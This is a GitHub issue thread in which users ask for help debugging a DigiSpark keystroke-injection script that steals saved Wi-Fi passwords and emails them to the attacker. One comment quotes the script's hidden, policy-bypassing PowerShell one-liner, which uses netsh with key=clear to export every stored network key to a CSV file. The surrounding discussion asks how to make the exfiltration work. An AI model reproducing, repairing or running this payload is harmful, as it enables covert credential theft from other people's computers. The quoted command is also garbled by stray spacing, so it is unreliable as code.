Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Wifi Password file blank #60

Open
sergio-delia opened this issue Aug 19, 2021 · 3 comments
Open

Wifi Password file blank #60

sergio-delia opened this issue Aug 19, 2021 · 3 comments

Comments

@sergio-delia
Copy link

Hello, the code works perfectly but the file temp.csv is always blank (0 bytes). Why?

@CedArctic
Copy link
Owner

Hi, glad you are interested in using one of the WiFi mailer scripts. Could you please provide some more relevant information like which script you are using, if the computer you are using the script on indeed has WiFi passwords stored on it, your Windows Build number etc.?

@fiustif
Copy link

fiustif commented Sep 3, 2021

hi, i have the exact same problem with this script:
https://github.com/CedArctic/DigiSpark-Scripts/blob/master/WiFi_Profile_Mailer/WiFi_Profile_Mailer.ino
i am sure my pc has wifi passwords saved but the .csv file i receive by email is empty, my windows build is 19042.1165, I think I have found the problem but I don't know how to fix it,
the line:

DigiKeyboard.print (F ("powershell -NoP -NonI -W Hidden -Exec Bypass " (netsh wlan show profiles) | Select-String '\: (. +) $' |% {$ Name = $ _. Matches .Groups [1] .Value.Trim (); $ _} |% {(netsh wlan show profile name = $ name key = clear)} | Select-String 'Key Content \ W + \: (. +) $ '|% {$ pass = $ _. Matches.Groups [1] .Value.Trim (); $ _} |% {[PSCustomObject] @ {PROFILE_NAME = $ name; PASSWORD = $ pass}} | Export-Csv temp .csv \ ""));

has an output which I believe is incorrect, I get:

powershell -NoP -NonI -W Hidden -Exec Bypass \ (netsh wlan show profiles) | Select-String : (. +) $ | % {$ name = $ _. Matches.Groups [1] .Value.Trim (); $ _} | % {(netsh wlan show profile name = $ name key = clear)} | Select-String Key Content '' W + '': (. +) $ | % {$ pass = $ _. Matches.Groups [1] .Value.Trim (); $ _} | % {[PSCustomObject] @ {PROFILE_NAME = $ name; PASSWORD = $ pass}} | Export-Csv temp.csv

thanks in advance for any help.

@Vinnybrunn00
Copy link

Hellow @fiustif, i have the same problem, did you manage to solve it? if yes, please send me the solution :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants